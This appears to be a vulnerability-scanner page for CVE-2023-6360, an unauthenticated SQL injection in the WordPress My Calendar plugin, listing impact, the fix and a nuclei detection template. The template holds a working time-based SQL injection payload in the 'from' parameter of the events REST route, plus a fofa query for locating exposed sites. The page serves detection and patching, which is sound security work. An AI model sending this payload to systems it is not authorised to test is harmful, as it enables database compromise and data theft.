WordPress My Calendar <3.4.22 - SQL Injection

criticalseverity

9.8CVSS score

63.1%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

WordPress My Calendar plugin versions before 3.4.22 are vulnerable to an unauthenticated SQL injection within the 'from' and 'to' parameters of the '/my-calendar/v1/events' REST route.

Impact

Successful exploitation of this vulnerability could allow an attacker to perform SQL injection attacks, which could lead to data theft, database compromise, or further attack vectors.

Fix

Upgrade to My Calendar plugin version 3.4.22 or later.

How to confirm it

Send: GET /wp-content/plugins/my-calendar/readme.txt
Positive when: contains "My Calendar"
Send: @timeout: 20s
Positive when: contains(header, "application/json") and contains(body, "[]") and duration >= 6

Run it with nuclei: nuclei -id CVE-2023-6360 -u <target>

The full check

id: CVE-2023-6360

info:
  name: WordPress My Calendar <3.4.22 - SQL Injection
  author: xxcdd
  severity: critical
  description: |
    WordPress My Calendar plugin versions before 3.4.22 are vulnerable to an unauthenticated SQL injection within the 'from' and 'to' parameters of the '/my-calendar/v1/events' REST route.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to perform SQL injection attacks, which could lead to data theft, database compromise, or further attack vectors.
  remediation: Upgrade to My Calendar plugin version 3.4.22 or later.
  reference:
    - https://www.tenable.com/security/research/tra-2023-40
    - https://www.joedolson.com/2023/11/my-calendar-3-4-22-security-release/
    - https://wordpress.org/plugins/my-calendar/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6360
    - https://github.com/JoshuaMart/JoshuaMart
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-6360
    cwe-id: CWE-89
    epss-score: 0.63141
    epss-percentile: 0.99209
    cpe: cpe:2.3:a:joedolson:my_calendar:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: joedolson
    product: my_calendar
    framework: wordpress
    fofa-query: '"wordpress" && body="wp-content/plugins/my-calendar"'
  tags: cve,cve2023,sqli,wp,wordpress,wpscan,wp-plugin,my-calendar,joedolson,vuln,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/my-calendar/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'My Calendar'

  - raw:
      - |
        @timeout: 20s
        GET /?rest_route=/my-calendar/v1/events&from=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(2)))a)+AND+'a'%3d'a HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "application/json")'
          - 'contains(body, "[]")'
          - 'duration >= 6'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from